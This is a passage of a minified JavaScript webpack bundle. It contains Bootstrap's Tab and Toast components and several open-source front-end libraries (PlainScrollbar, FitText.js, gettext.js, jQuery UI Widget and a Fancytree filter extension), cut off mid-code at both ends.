Tl=".dropdown-toggle";const Sl=":scope > .dropdown-menu .active";class jl extends wi{static get NAME(){return ul}show(){if(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&this._element.classList.contains(bl)){return}let e;const t=Ln(this._element);const n=this._element.closest(kl);if(n){const t=n.nodeName==="UL"||n.nodeName==="OL"?El:Cl;e=zi.find(t,n);e=e[e.length-1]}const i=e?mi.trigger(e,hl,{relatedTarget:this._element}):null;const r=mi.trigger(this._element,gl,{relatedTarget:e});if(r.defaultPrevented||i!==null&&i.defaultPrevented){return}this._activate(this._element,n);const s=()=>{mi.trigger(e,pl,{relatedTarget:this._element});mi.trigger(this._element,vl,{relatedTarget:e})};if(t){this._activate(t,t.parentNode,s)}else{s()}}_activate(e,t,n){const i=t&&(t.nodeName==="UL"||t.nodeName==="OL")?zi.find(El,t):zi.children(t,Cl);const r=i[0];const s=n&&r&&r.classList.contains(_l);const o=()=>this._transitionComplete(e,r,n);if(r&&s){r.classList.remove(wl);this._queueCallback(o,e,true)}else{o()}}_transitionComplete(e,t,n){if(t){t.classList.remove(bl);const e=zi.findOne(Sl,t.parentNode);if(e){e.classList.remove(bl)}if(t.getAttribute("role")==="tab"){t.setAttribute("aria-selected",false)}}e.classList.add(bl);if(e.getAttribute("role")==="tab"){e.setAttribute("aria-selected",true)}Wn(e);if(e.classList.contains(_l)){e.classList.add(wl)}let i=e.parentNode;if(i&&i.nodeName==="LI"){i=i.parentNode}if(i&&i.classList.contains(yl)){const t=e.closest(xl);if(t){zi.find(Tl,t).forEach((e=>e.classList.add(bl)))}e.setAttribute("aria-expanded",true)}if(n){n()}}static jQueryInterface(e){return this.each((function(){const t=jl.getOrCreateInstance(this);if(typeof e==="string"){if(typeof t[e]==="undefined"){throw new TypeError(`No method named "${e}"`)}t[e]()}}))}}mi.on(document,ml,Al,(function(e){if(["A","AREA"].includes(this.tagName)){e.preventDefault()}if(Bn(this)){return}const t=jl.getOrCreateInstance(this);t.show()}));Gn(jl);const Dl="toast";const Ol="bs.toast";const Nl=`.${Ol}`;const Pl=`mouseover${Nl}`;const Ll=`mouseout${Nl}`;const Fl=`focusin${Nl}`;const Il=`focusout${Nl}`;const Ml=`hide${Nl}`;const $l=`hidden${Nl}`;const Rl=`show${Nl}`;const Hl=`shown${Nl}`;const Bl="fade";const ql="hide";const zl="show";const Wl="showing";const Ql={animation:"boolean",autohide:"boolean",delay:"number"};const Vl={animation:true,autohide:true,delay:5e3};class Ul extends wi{constructor(e,t){super(e);this._config=this._getConfig(t);this._timeout=null;this._hasMouseInteraction=false;this._hasKeyboardInteraction=false;this._setListeners()}static get DefaultType(){return Ql}static get Default(){return Vl}static get NAME(){return Dl}show(){const e=mi.trigger(this._element,Rl);if(e.defaultPrevented){return}this._clearTimeout();if(this._config.animation){this._element.classList.add(Bl)}const t=()=>{this._element.classList.remove(Wl);mi.trigger(this._element,Hl);this._maybeScheduleHide()};this._element.classList.remove(ql);Wn(this._element);this._element.classList.add(zl);this._element.classList.add(Wl);this._queueCallback(t,this._element,this._config.animation)}hide(){if(!this._element.classList.contains(zl)){return}const e=mi.trigger(this._element,Ml);if(e.defaultPrevented){return}const t=()=>{this._element.classList.add(ql);this._element.classList.remove(Wl);this._element.classList.remove(zl);mi.trigger(this._element,$l)};this._element.classList.add(Wl);this._queueCallback(t,this._element,this._config.animation)}dispose(){this._clearTimeout();if(this._element.classList.contains(zl)){this._element.classList.remove(zl)}super.dispose()}_getConfig(e){e={...Vl,...Bi.getDataAttributes(this._element),...typeof e==="object"&&e?e:{}};Rn(Dl,e,this.constructor.DefaultType);return e}_maybeScheduleHide(){if(!this._config.autohide){return}if(this._hasMouseInteraction||this._hasKeyboardInteraction){return}this._timeout=setTimeout((()=>{this.hide()}),this._config.delay)}_onInteraction(e,t){switch(e.type){case"mouseover":case"mouseout":this._hasMouseInteraction=t;break;case"focusin":case"focusout":this._hasKeyboardInteraction=t;break}if(t){this._clearTimeout();return}const n=e.relatedTarget;if(this._element===n||this._element.contains(n)){return}this._maybeScheduleHide()}_setListeners(){mi.on(this._element,Pl,(e=>this._onInteraction(e,true)));mi.on(this._element,Ll,(e=>this._onInteraction(e,false)));mi.on(this._element,Fl,(e=>this._onInteraction(e,true)));mi.on(this._element,Il,(e=>this._onInteraction(e,false)))}_clearTimeout(){clearTimeout(this._timeout);this._timeout=null}static jQueryInterface(e){return this.each((function(){const t=Ul.getOrCreateInstance(this,e);if(typeof e==="string"){if(typeof t[e]==="undefined"){throw new TypeError(`No method named "${e}"`)}t[e](this)}}))}}xi(Ul);Gn(Ul);var Kl=Object.freeze({__proto__:null,Alert:Di,Button:$i,Carousel:Mr,Collapse:ss,Dropdown:Bs,Modal:Io,Offcanvas:ta,Popover:Ha,ScrollSpy:ll,Tab:jl,Toast:Ul,Tooltip:Da});var Gl=[].slice.call(document.querySelectorAll('[data-bs-toggle="dropdown"]'));Gl.map((function(e){return new Bs(e)}));var Yl=[].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]'));Yl.map((function(e){var t,n;var i={delay:{show:50,hide:50},html:(t=e.getAttribute("data-bs-html")==="true")!==null&&t!==void 0?t:false,placement:(n=e.getAttribute("data-bs-placement"))!==null&&n!==void 0?n:"auto"};return new Da(e,i)}));var Xl=[].slice.call(document.querySelectorAll('[data-bs-toggle="popover"]'));Xl.map((function(e){var t,n;var i={delay:{show:50,hide:50},html:(t=e.getAttribute("data-bs-html")==="true")!==null&&t!==void 0?t:false,placement:(n=e.getAttribute("data-bs-placement"))!==null&&n!==void 0?n:"auto"};return new Ha(e,i)}));var Jl=[].slice.call(document.querySelectorAll('[data-bs-toggle="switch-icon"]'));Jl.map((function(e){e.addEventListener("click",(function(t){t.stopPropagation();e.classList.toggle("active")}))}));var Zl=function e(){var t=window.location.hash;if(t){var n=[].slice.call(document.querySelectorAll('[data-bs-toggle="tab"]'));var i=n.filter((function(e){return e.hash===t}));i.map((function(e){new jl(e).show()}))}};Zl();var eu=[].slice.call(document.querySelectorAll('[data-bs-toggle="toast"]'));eu.map((function(e){return new Ul(e)}));window.bootstrap=Kl}))},497:(e,t,n)=>{"use strict";n.r(t);n.d(t,{default:()=>r}); /*! * PlainScrollbar JavaScript Library v1.0.0-rc.0 * https://github.com/ewya/PlainScrollbar * * Copyright Kay Schewe <https://www.kayschewe.de> * Released under the MIT license * https://github.com/ewya/PlainScrollbar/blob/master/LICENSE */ /** * PlainScrollbar * @author Kay Schewe * @copyright 2019 - present * @param {object} customConfiguration * @constructor */function i(e){"use strict";var t=null,n=null,i={alwaysVisible:true,arrows:false,enabled:true,movePageByPageOnAreaClick:true,numberOfItems:{start:0,total:0,visible:0},onScrollable:null,onSet:null,scrollbarElement:null,sliderMinSize:20,wheelSpeed:2},r=null,s=null,o=null,a=false,l=null,u=null,c=["horizontal","vertical"],f=null,d=null,h=null,p=null,g=null,v=0,m=null;function y(e,t){Object.keys(t).forEach((function(n){e[n]=t[n]}));return e}function b(e,t){if(!e.hasOwnProperty("source")||!e.hasOwnProperty("type")||!e.hasOwnProperty("value")){return false}var i=isNaN(e.value)?0:parseFloat(e.value),r=t!==true;var s=p.getBoundingClientRect()[u],l=n.numberOfItems.total===0?0:s/n.numberOfItems.total,c=g.getBoundingClientRect()[u],d=Math.max(n.sliderMinSize,n.numberOfItems.visible*l),h=parseFloat(g.style[m]),y=Math.max(0,s-d),b=0,_=h;switch(e.type){case"delta":_=h+i;break;case"x":case"y":_=i-(a&&v?v:0);break}if(_<b){_=b}if(_>y){_=y}o=n.numberOfItems.total>n.numberOfItems.visible&&s>n.sliderMinSize;n.numberOfItems.start=0===y?0:(n.numberOfItems.total-n.numberOfItems.visible)/y*_;if(h!==_){g.style[m]=_+"px"}if(c!==d){g.style[u]=d+"px"}var w=f.getAttribute("data-scrollable"),x=null;if("true"===w){x=true}else if("false"===w){x=false}if(x!==o){f.setAttribute("data-scrollable",o);if(r){if("function"===typeof n.onScrollable){n.onScrollable({orientation:n.orientation,before:x,current:o})}}}if(r){if("function"===typeof n.onSet){n.onSet({start:n.numberOfItems.start,total:n.numberOfItems.total,visible:n.numberOfItems.visible})}}return true}function _(e){e=parseFloat(e);var t=n.numberOfItems.total-n.numberOfItems.visible,i=0;if(e<i){e=i}if(e>t){e=t}var r={source:"start",type:"",value:0};if("horizontal"===n.orientation){r.type="x"}else if("vertical"===n.orientation){r.type="y"}if(n.numberOfItems.total===0){return r}var s=p.getBoundingClientRect()[u],o=s/n.numberOfItems.total,a=Math.max(n.sliderMinSize,n.numberOfItems.visible*o),l=Math.max(0,s-a);r.value=l===0?0:l/(n.numberOfItems.total-n.numberOfItems.visible)*e;return r}function w(e){var t={source:"event",type:"",value:0};switch(e.type){case"mousedown":case"mousemove":case"mouseup":if("horizontal"===n.orientation){t.type="x";t.value=e.pageX-p.getBoundingClientRect()[m]}else if("vertical"===n.orientation){t.type="y";t.value=e.pageY-p.getBoundingClientRect()[m]}break;case"wheel":t.type="delta";if("horizontal"===n.orientation){t.value=0<e.deltaX?1:-1}else if("vertical"===n.orientation){t.value=0<e.deltaY?1:-1}t.value*=n.wheelSpeed;break;default:t.source=""}return t}function x(e){if(!s){return}e.preventDefault();f.setAttribute("data-visible",true)}function k(e){if(!s){return}e.preventDefault();if(!a&&!n.alwaysVisible){f.setAttribute("data-visible",false)}}function C(e){if(!s||a){return}e.preventDefault();if(n.movePageByPageOnAreaClick){var t=n.numberOfItems.start,i=n.numberOfItems.visible,r=parseFloat(g.style[m]),o=r;switch(n.orientation){case"horizontal":o=e.offsetX;break;case"vertical":o=e.offsetY;break}if(o<r){t-=i}if(o>r){t+=i}b(_(t),false)}else{b(w(e),false)}}function E(e){if(!a){return}e.preventDefault();if(s){b(w(e),false)}a=false}function A(e){if(!s||a){return}e.preventDefault();clearTimeout(r);l=true;b(w(e),false);l=false}function T(e){if(!s){return}e.preventDefault();clearTimeout(r);a=true;v=0;if("horizontal"===n.orientation){v=e.offsetX}else if("vertical"===n.orientation){v=e.offsetY}}function S(e){if(!s||!a){return}clearTimeout(r);r=setTimeout((function(){b(w(e),false)}),1)}function j(e){if(!a){return}clearTimeout(r);if(!n.alwaysVisible){f.setAttribute("data-visible",false)}if(s){b(w(e),false)}a=false}function D(e){if(!s){return}e.preventDefault();var t=n.numberOfItems.start-1;b(_(t),false)}function O(e){if(!s){return}e.preventDefault();var t=n.numberOfItems.start+1;b(_(t),false)}this.alwaysVisible=function(e){n.alwaysVisible=Boolean(e);f.setAttribute("data-visible",n.alwaysVisible)};this.enabled=function(e){s=Boolean(e);f.setAttribute("data-enabled",s)};this.isEnabled=function(){return s};this.isScrollable=function(){return o};this.set=function(e,t){if(a||l){return false}if(!s){t=true}var i=null;switch(typeof e){case"object":i=w(e);if("event"===i.source){return b(i,t)}if(e.hasOwnProperty("start")&&!isNaN(e.start)&&e.hasOwnProperty("total")&&!isNaN(e.total)&&e.hasOwnProperty("visible")&&!isNaN(e.visible)){n.numberOfItems=y(n.numberOfItems,{start:e.start,total:e.total,visible:e.visible});i=_(n.numberOfItems.start);return b(i,t)}break;case"string":i=_(e);if("start"===i.source){return b(i,t)}break}return false};if(!e){throw"Missing customConfiguration!"}if(!e.hasOwnProperty("scrollbarElement")||!e.scrollbarElement||e.scrollbarElement.hasOwnProperty("nodeName")){throw"Missing valid configuration.scrollbarElement!"}if(!e.hasOwnProperty("orientation")||c.indexOf(e.orientation)===-1){throw"Missing valid configuration.orientation!"}n=y(i,e);f=n.scrollbarElement;d=f.ownerDocument;var N=["plain-scrollbar","scrollbar-"+n.orientation];if("horizontal"===n.orientation){u="width";m="left"}else if("vertical"===n.orientation){u="height";m="top"}s=Boolean(n.enabled);f.setAttribute("data-enabled",s);f.setAttribute("data-scrollable",o);f.setAttribute("data-visible",Boolean(n.alwaysVisible));N.forEach((function(e){f.classList.add(e)}));if(n.arrows){f.classList.add("has-arrows");t={backward:d.createElement("div"),forward:d.createElement("div")};Object.getOwnPropertyNames(t).forEach((function(e){var i="arrow-",r=function(){};switch(e){case"backward":if("horizontal"===n.orientation){i+="left"}else if("vertical"===n.orientation){i+="up"}r=D;break;case"forward":if("horizontal"===n.orientation){i+="right"}else if("vertical"===n.orientation){i+="down"}r=O;break;default:i+="undefined"}var s=t[e];s.classList.add(i);s.appendChild(d.createElement("span"));s.addEventListener("mousedown",r,false);f.appendChild(s)}))}g=d.createElement("div");g.classList.add("slider");g.style[m]="0";g.style[u]="0";g.addEventListener("mousedown",T,false);p=d.createElement("div");p.classList.add("slider-area");p.appendChild(g);p.addEventListener("mousedown",C,false);p.addEventListener("mouseup",E,false);p.addEventListener("wheel",A,false);f.appendChild(p);f.addEventListener("mouseenter",x,false);f.addEventListener("mouseleave",k,false);h=d.defaultView;h.addEventListener("mousemove",S,false);h.addEventListener("mouseup",j,false);b(_(n.numberOfItems.start),false)}const r=i},489:()=>{ /*! * FitText.js 1.2 * * Copyright 2011, Dave Rupert http://daverupert.com * Released under the WTFPL license * http://sam.zoy.org/wtfpl/ * * Date: Thu May 05 14:23:00 2011 -0600 */ (function(e){e.fn.fitText=function(t,n){var i=t||1,r=e.extend({minFontSize:Number.NEGATIVE_INFINITY,maxFontSize:Number.POSITIVE_INFINITY},n);return this.each((function(){var t=e(this);var n=function(){t.css("font-size",Math.max(Math.min(t.width()/(i*10),parseFloat(r.maxFontSize)),parseFloat(r.minFontSize)))};n();e(window).on("resize.fittext orientationchange.fittext",n)}))}})(jQuery)},508:(e,t,n)=>{"use strict";n.r(t);n.d(t,{default:()=>r}); /*! gettext.js - Guillaume Potier - MIT Licensed */var i=function(e){e=e||{};this&&(this.__version="1.1.1");var t={domain:"messages",locale:(typeof document!=="undefined"?document.documentElement.getAttribute("lang"):false)||"en",plural_func:function(e){return{nplurals:2,plural:e!=1?1:0}},ctxt_delimiter:String.fromCharCode(4)};var n={isObject:function(e){var t=typeof e;return t==="function"||t==="object"&&!!e},isArray:function(e){return toString.call(e)==="[object Array]"}};var i={},r=e.locale||t.locale,s=e.domain||t.domain,o={},a={},l=e.ctxt_delimiter||t.ctxt_delimiter;if(e.messages){o[s]={};o[s][r]=e.messages}if(e.plural_forms){a[r]=e.plural_forms}var u=function(e){var t=arguments;return e.replace(/%%/g,"%% ").replace(/%(\d+)/g,(function(e,n){return t[n]})).replace(/%% /g,"%")};var c=function(e){if(e.indexOf(l)!==-1){var t=e.split(l);return t[1]}return e};var f=function(e){var t=[e],n=e.lastIndexOf("-");while(n>0){e=e.slice(0,n);t.push(e);n=e.lastIndexOf("-")}return t};var d=function(e){e=e.replace("_","-");var t=e.search(/[.@]/);if(t!=-1)e=e.slice(0,t);return e};var h=function(e){var t=new RegExp("^\\s*nplurals\\s*=\\s*[0-9]+\\s*;\\s*plural\\s*=\\s*(?:\\s|[-\\?\\|&=!<>+*/%:;n0-9_()])+");if(!t.test(e))throw new Error(u('The plural form "%1" is not valid',e));return new Function("n","var plural, nplurals; "+e+" return { nplurals: nplurals, plural: (plural === true ? 1 : (plural ? plural : 0)) };")};var p=function(e,t,n){if(!n.plural_form)return u.apply(this,[c(e[0])].concat(Array.prototype.slice.call(arguments,3)));var s;if(n.plural_func){s=n.plural_func(t)}else if(!i[r]){i[r]=h(a[r]);s=i[r](t)}else{s=i[r](t)}if("undefined"===typeof s.plural||s.plural>s.nplurals||e.length<=s.plural)s.plural=0;return u.apply(this,[c(e[s.plural]),t].concat(Array.prototype.slice.call(arguments,3)))};return{strfmt:u,expand_locale:f,__:function(){return this.gettext.apply(this,arguments)},_n:function(){return this.ngettext.apply(this,arguments)},_p:function(){return this.pgettext.apply(this,arguments)},setMessages:function(e,t,i,r){if(!e||!t||!i)throw new Error("You must provide a domain, a locale and messages");if("string"!==typeof e||"string"!==typeof t||!n.isObject(i))throw new Error("Invalid arguments");t=d(t);if(r)a[t]=r;if(!o[e])o[e]={};o[e][t]=i;return this},loadJSON:function(e,i){if(!n.isObject(e))e=JSON.parse(e);if(!e[""]||!e[""]["language"]||!e[""]["plural-forms"])throw new Error('Wrong JSON, it must have an empty key ("") with "language" and "plural-forms" information');var r=e[""];delete e[""];return this.setMessages(i||t.domain,r["language"],e,r["plural-forms"])},setLocale:function(e){r=d(e);return this},getLocale:function(){return r},textdomain:function(e){if(!e)return s;s=e;return this},gettext:function(e){return this.dcnpgettext.apply(this,[undefined,undefined,e,undefined,undefined].concat(Array.prototype.slice.call(arguments,1)))},ngettext:function(e,t,n){return this.dcnpgettext.apply(this,[undefined,undefined,e,t,n].concat(Array.prototype.slice.call(arguments,3)))},pgettext:function(e,t){return this.dcnpgettext.apply(this,[undefined,e,t,undefined,undefined].concat(Array.prototype.slice.call(arguments,2)))},dcnpgettext:function(e,n,i,a,u){e=e||s;if("string"!==typeof i)throw new Error(this.strfmt('Msgid "%1" is not a valid translatable string',i));var c,d={plural_form:false},h=n?n+l+i:i,g,v,m=f(r);for(var y in m){v=m[y];g=o[e]&&o[e][v]&&o[e][v][h];if(a){g=g&&"string"!==typeof o[e][v][h]}else{g=g&&"string"===typeof o[e][v][h]}if(g){break}}if(!g){c=i;d.plural_func=t.plural_func}else{c=o[e][v][h]}if(!a)return p.apply(this,[[c],u,d].concat(Array.prototype.slice.call(arguments,5)));d.plural_form=true;return p.apply(this,[g?c:[i,a],u,d].concat(Array.prototype.slice.call(arguments,5)))}}};const r=i},500:(e,t,n)=>{var i,r,s;(function(o){"use strict";if(true){!(r=[n(486)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e){"use strict";e.ui=e.ui||{};return e.ui.version="1.13.2"}))},499:(e,t,n)=>{var i,r,s; /*! * jQuery UI Widget 1.13.2 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */(function(o){"use strict";if(true){!(r=[n(486),n(500)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e){"use strict";var t=0;var n=Array.prototype.hasOwnProperty;var i=Array.prototype.slice;e.cleanData=function(t){return function(n){var i,r,s;for(s=0;(r=n[s])!=null;s++){i=e._data(r,"events");if(i&&i.remove){e(r).triggerHandler("remove")}}t(n)}}(e.cleanData);e.widget=function(t,n,i){var r,s,o;var a={};var l=t.split(".")[0];t=t.split(".")[1];var u=l+"-"+t;if(!i){i=n;n=e.Widget}if(Array.isArray(i)){i=e.extend.apply(null,[{}].concat(i))}e.expr.pseudos[u.toLowerCase()]=function(t){return!!e.data(t,u)};e[l]=e[l]||{};r=e[l][t];s=e[l][t]=function(e,t){if(!this||!this._createWidget){return new s(e,t)}if(arguments.length){this._createWidget(e,t)}};e.extend(s,r,{version:i.version,_proto:e.extend({},i),_childConstructors:[]});o=new n;o.options=e.widget.extend({},o.options);e.each(i,(function(e,t){if(typeof t!=="function"){a[e]=t;return}a[e]=function(){function i(){return n.prototype[e].apply(this,arguments)}function r(t){return n.prototype[e].apply(this,t)}return function(){var e=this._super;var n=this._superApply;var s;this._super=i;this._superApply=r;s=t.apply(this,arguments);this._super=e;this._superApply=n;return s}}()}));s.prototype=e.widget.extend(o,{widgetEventPrefix:r?o.widgetEventPrefix||t:t},a,{constructor:s,namespace:l,widgetName:t,widgetFullName:u});if(r){e.each(r._childConstructors,(function(t,n){var i=n.prototype;e.widget(i.namespace+"."+i.widgetName,s,n._proto)}));delete r._childConstructors}else{n._childConstructors.push(s)}e.widget.bridge(t,s);return s};e.widget.extend=function(t){var r=i.call(arguments,1);var s=0;var o=r.length;var a;var l;for(;s<o;s++){for(a in r[s]){l=r[s][a];if(n.call(r[s],a)&&l!==undefined){if(e.isPlainObject(l)){t[a]=e.isPlainObject(t[a])?e.widget.extend({},t[a],l):e.widget.extend({},l)}else{t[a]=l}}}}return t};e.widget.bridge=function(t,n){var r=n.prototype.widgetFullName||t;e.fn[t]=function(s){var o=typeof s==="string";var a=i.call(arguments,1);var l=this;if(o){if(!this.length&&s==="instance"){l=undefined}else{this.each((function(){var n;var i=e.data(this,r);if(s==="instance"){l=i;return false}if(!i){return e.error("cannot call methods on "+t+" prior to initialization; "+"attempted to call method '"+s+"'")}if(typeof i[s]!=="function"||s.charAt(0)==="_"){return e.error("no such method '"+s+"' for "+t+" widget instance")}n=i[s].apply(i,a);if(n!==i&&n!==undefined){l=n&&n.jquery?l.pushStack(n.get()):n;return false}}))}}else{if(a.length){s=e.widget.extend.apply(null,[s].concat(a))}this.each((function(){var t=e.data(this,r);if(t){t.option(s||{});if(t._init){t._init()}}else{e.data(this,r,new n(s,this))}}))}return l}};e.Widget=function(){};e.Widget._childConstructors=[];e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:false,create:null},_createWidget:function(n,i){i=e(i||this.defaultElement||this)[0];this.element=e(i);this.uuid=t++;this.eventNamespace="."+this.widgetName+this.uuid;this.bindings=e();this.hoverable=e();this.focusable=e();this.classesElementLookup={};if(i!==this){e.data(i,this.widgetFullName,this);this._on(true,this.element,{remove:function(e){if(e.target===i){this.destroy()}}});this.document=e(i.style?i.ownerDocument:i.document||i);this.window=e(this.document[0].defaultView||this.document[0].parentWindow)}this.options=e.widget.extend({},this.options,this._getCreateOptions(),n);this._create();if(this.options.disabled){this._setOptionDisabled(this.options.disabled)}this._trigger("create",null,this._getCreateEventData());this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){var t=this;this._destroy();e.each(this.classesElementLookup,(function(e,n){t._removeClass(n,e)}));this.element.off(this.eventNamespace).removeData(this.widgetFullName);this.widget().off(this.eventNamespace).removeAttr("aria-disabled");this.bindings.off(this.eventNamespace)},_destroy:e.noop,widget:function(){return this.element},option:function(t,n){var i=t;var r;var s;var o;if(arguments.length===0){return e.widget.extend({},this.options)}if(typeof t==="string"){i={};r=t.split(".");t=r.shift();if(r.length){s=i[t]=e.widget.extend({},this.options[t]);for(o=0;o<r.length-1;o++){s[r[o]]=s[r[o]]||{};s=s[r[o]]}t=r.pop();if(arguments.length===1){return s[t]===undefined?null:s[t]}s[t]=n}else{if(arguments.length===1){return this.options[t]===undefined?null:this.options[t]}i[t]=n}}this._setOptions(i);return this},_setOptions:function(e){var t;for(t in e){this._setOption(t,e[t])}return this},_setOption:function(e,t){if(e==="classes"){this._setOptionClasses(t)}this.options[e]=t;if(e==="disabled"){this._setOptionDisabled(t)}return this},_setOptionClasses:function(t){var n,i,r;for(n in t){r=this.classesElementLookup[n];if(t[n]===this.options.classes[n]||!r||!r.length){continue}i=e(r.get());this._removeClass(r,n);i.addClass(this._classes({element:i,keys:n,classes:t,add:true}))}},_setOptionDisabled:function(e){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!e);if(e){this._removeClass(this.hoverable,null,"ui-state-hover");this._removeClass(this.focusable,null,"ui-state-focus")}},enable:function(){return this._setOptions({disabled:false})},disable:function(){return this._setOptions({disabled:true})},_classes:function(t){var n=[];var i=this;t=e.extend({element:this.element,classes:this.options.classes||{}},t);function r(){var n=[];t.element.each((function(t,r){var s=e.map(i.classesElementLookup,(function(e){return e})).some((function(e){return e.is(r)}));if(!s){n.push(r)}}));i._on(e(n),{remove:"_untrackClassesElement"})}function s(s,o){var a,l;for(l=0;l<s.length;l++){a=i.classesElementLookup[s[l]]||e();if(t.add){r();a=e(e.uniqueSort(a.get().concat(t.element.get())))}else{a=e(a.not(t.element).get())}i.classesElementLookup[s[l]]=a;n.push(s[l]);if(o&&t.classes[s[l]]){n.push(t.classes[s[l]])}}}if(t.keys){s(t.keys.match(/\S+/g)||[],true)}if(t.extra){s(t.extra.match(/\S+/g)||[])}return n.join(" ")},_untrackClassesElement:function(t){var n=this;e.each(n.classesElementLookup,(function(i,r){if(e.inArray(t.target,r)!==-1){n.classesElementLookup[i]=e(r.not(t.target).get())}}));this._off(e(t.target))},_removeClass:function(e,t,n){return this._toggleClass(e,t,n,false)},_addClass:function(e,t,n){return this._toggleClass(e,t,n,true)},_toggleClass:function(e,t,n,i){i=typeof i==="boolean"?i:n;var r=typeof e==="string"||e===null,s={extra:r?t:n,keys:r?e:t,element:r?this.element:e,add:i};s.element.toggleClass(this._classes(s),i);return this},_on:function(t,n,i){var r;var s=this;if(typeof t!=="boolean"){i=n;n=t;t=false}if(!i){i=n;n=this.element;r=this.widget()}else{n=r=e(n);this.bindings=this.bindings.add(n)}e.each(i,(function(i,o){function a(){if(!t&&(s.options.disabled===true||e(this).hasClass("ui-state-disabled"))){return}return(typeof o==="string"?s[o]:o).apply(s,arguments)}if(typeof o!=="string"){a.guid=o.guid=o.guid||a.guid||e.guid++}var l=i.match(/^([\w:-]*)\s*(.*)$/);var u=l[1]+s.eventNamespace;var c=l[2];if(c){r.on(u,c,a)}else{n.on(u,a)}}))},_off:function(t,n){n=(n||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace;t.off(n);this.bindings=e(this.bindings.not(t).get());this.focusable=e(this.focusable.not(t).get());this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function n(){return(typeof e==="string"?i[e]:e).apply(i,arguments)}var i=this;return setTimeout(n,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t);this._on(t,{mouseenter:function(t){this._addClass(e(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t);this._on(t,{focusin:function(t){this._addClass(e(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,n,i){var r,s;var o=this.options[t];i=i||{};n=e.Event(n);n.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase();n.target=this.element[0];s=n.originalEvent;if(s){for(r in s){if(!(r in n)){n[r]=s[r]}}}this.element.trigger(n,i);return!(typeof o==="function"&&o.apply(this.element[0],[n].concat(i))===false||n.isDefaultPrevented())}};e.each({show:"fadeIn",hide:"fadeOut"},(function(t,n){e.Widget.prototype["_"+t]=function(i,r,s){if(typeof r==="string"){r={effect:r}}var o;var a=!r?t:r===true||typeof r==="number"?n:r.effect||n;r=r||{};if(typeof r==="number"){r={duration:r}}else if(r===true){r={}}o=!e.isEmptyObject(r);r.complete=s;if(r.delay){i.delay(r.delay)}if(o&&e.effects&&e.effects.effect[a]){i[t](r)}else if(a!==t&&i[a]){i[a](r.duration,r.easing,s)}else{i.queue((function(n){e(this)[t]();if(s){s.call(i[0])}n()}))}}}));return e.widget}))},493:(e,t,n)=>{var i,r,s; /*! * jquery.fancytree.filter.js * * Remove or highlight tree nodes, based on a filter. * (Extension module for jquery.fancytree.js: https://github.com/mar10/fancytree/) * * Copyright (c) 2008-2021, Martin Wendt (https://wwWendt.de) * * Released under the MIT license * https://github.com/mar10/fancytree/wiki/LicenseInfo * * @version 2.38.1 * @date 2022-01-14T18:41:36Z */(function(o){if(true){!(r=[n(486),n(490)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e){"use strict";var t="__not_found__",n=e.ui.fancytree.escapeHtml,i="",r="";function s(e){return(e+"").replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1")}function o(t){if(t.indexOf(">")>=0){return e("<div/>").html(t).text()}return t}function a(e,t,n){var s=[];for(var o=1;o<t.length;o++){var a=t[o].length+(o===1?0:1)+(s[s.length-1]||0);s.push(a)}var l=e.split("");if(n){s.forEach((function(e){l[e]=i+l[e]+r}))}else{s.forEach((function(e){l[e]="<mark>"+l[e]+"</mark>"}))}return l.join("")}e.ui.fancytree._FancytreeClass.prototype._applyFilterImpl=function(l,u,c){var f,d,h,p,g,v,m,y,b=0,_=this.options,w=_.escapeTitles,x=_.autoCollapse,k=e.extend({},_.filter,c),C=k.mode==="hide",E=!!k.leavesOnly&&!u;if(typeof l==="string"){if(l===""){this.warn("Fancytree passing an empty string as a filter is handled as clearFilter().");this.clearFilter();return}if(k.fuzzy){f=l.split("").map(s).reduce((function(e,t){return e+"([^"+t+"]*)"+t}),"")}else{f=s(l)}h=new RegExp(f,"i");p=new RegExp(s(l),"gi");if(w){g=new RegExp(s(i),"g");v=new RegExp(s(r),"g")}l=function(e){if(!e.title){return false}var t=w?e.title:o(e.title),s=t.match(h);if(s&&k.highlight){if(w){if(k.fuzzy){m=a(t,s,w)}else{m=t.replace(p,(function(e){return i+e+r}))}e.titleWithHighlight=n(m).replace(g,"<mark>").replace(v,"</mark>")}else{if(k.fuzzy){e.titleWithHighlight=a(t,s)}else{e.titleWithHighlight=t.replace(p,(function(e){return"<mark>"+e+"</mark>"}))}}}return!!s}}this.enableFilter=true;this.lastFilterArgs=arguments;y=this.enableUpdate(false);this.$div.addClass("fancytree-ext-filter");if(C){this.$div.addClass("fancytree-ext-filter-hide")}else{this.$div.addClass("fancytree-ext-filter-dimm")}this.$div.toggleClass("fancytree-ext-filter-hide-expanders",!!k.hideExpanders);this.rootNode.subMatchCount=0;this.visit((function(e){delete e.match;delete e.titleWithHighlight;e.subMatchCount=0}));d=this.getRootNode()._findDirectChild(t);if(d){d.remove()}_.autoCollapse=false;this.visit((function(e){if(E&&e.children!=null){return}var t=l(e),n=false;if(t==="skip"){e.visit((function(e){e.match=false}),true);return"skip"}if(!t&&(u||t==="branch")&&e.parent.match){t=true;n=true}if(t){b++;e.match=true;e.visitParents((function(t){if(t!==e){t.subMatchCount+=1}if(k.autoExpand&&!n&&!t.expanded){t.setExpanded(true,{noAnimation:true,noEvents:true,scrollIntoView:false});t._filterAutoExpanded=true}}),true)}}));_.autoCollapse=x;if(b===0&&k.nodata&&C){d=k.nodata;if(typeof 